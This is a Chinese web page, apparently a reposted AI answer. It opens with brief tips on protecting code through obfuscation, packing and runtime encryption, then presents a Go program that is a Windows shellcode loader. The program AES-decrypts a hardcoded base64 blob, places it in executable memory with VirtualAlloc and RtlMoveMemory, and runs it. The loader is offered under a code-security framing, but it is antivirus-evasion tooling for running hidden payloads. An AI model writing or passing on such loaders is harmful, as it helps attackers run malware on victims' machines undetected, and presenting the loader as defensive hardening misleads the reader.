为了增强代码的安全性,可以考虑以下几点:

  1. 将敏感信息(如密钥)放在代码外部的配置文件中,避免直接暴露在代码中。

  2. 对代码进行混淆,使其难以被反编译。

  3. 使用加壳技术,将程序加密,需要运行时解密才能执行。

  4. 对代码进行动态加密,即在程序运行时对代码进行加密,减少代码被静态分析的可能性。

  5. 使用虚拟化技术,将程序运行在虚拟环境中,增加攻击者对程序的逆向难度。

需要注意的是,增加代码的隐蔽性并不能完全避免被攻击,只能增加攻击者的攻击难度。因此,还需要加强程序的安全性,如对输入输出进行严格的验证和过滤,防止注入攻击等。

package main

import (
	'crypto/aes'
	'crypto/cipher'
	'encoding/base64'
	'fmt'
	'syscall'
	'unsafe'
)

var (
	kernel32      = syscall.NewLazyDLL('kernel32.dll')
	VirtualAlloc  = kernel32.NewProc('VirtualAlloc')
	RtlMoveMemory = kernel32.NewProc('RtlMoveMemory')
)

func build(ddm string) {
	sDec, _ := base64.StdEncoding.DecodeString(ddm)
	addr, _, _ := VirtualAlloc.Call(0, uintptr(len(sDec)), 0x1000|0x2000, 0x40)
	_, _, _ = RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&sDec[0])), uintptr(len(sDec)))
	syscall.Syscall(addr, 0, 0, 0, 0)

}



//去掉字符(末尾)
func UnPaddingText1(str []byte) []byte {
	n := len(str)
	count := int(str[n-1])
	newPaddingText := str[:n-count]
	return newPaddingText
}

//---------------DES解密--------------------


func DecrptogAES(src, key []byte) []byte {
	block, err := aes.NewCipher(key)
	if err != nil {
		fmt.Println(nil)
		return nil
	}
	blockMode := cipher.NewCBCDecrypter(block, key)
	blockMode.CryptBlocks(src, src)
	src = UnPaddingText1(src)
	return src
}

func main() {
	str := 'i/5PzhAzsoBA4o5ZcLmYA8CR0z5hyC1wEgAUOP3L6DKXKthN4nEc6OAqHkJGGW'
	key := []byte('LeslieCheungKwok')
	base_byte, _ := base64.StdEncoding.DecodeString(str)
	build(string(DecrptogAES(base_byte, key)))
}

原文地址: https://www.cveoy.top/t/topic/lPfu 著作权归作者所有。请勿转载和采集!

免费AI点我,无需注册和登录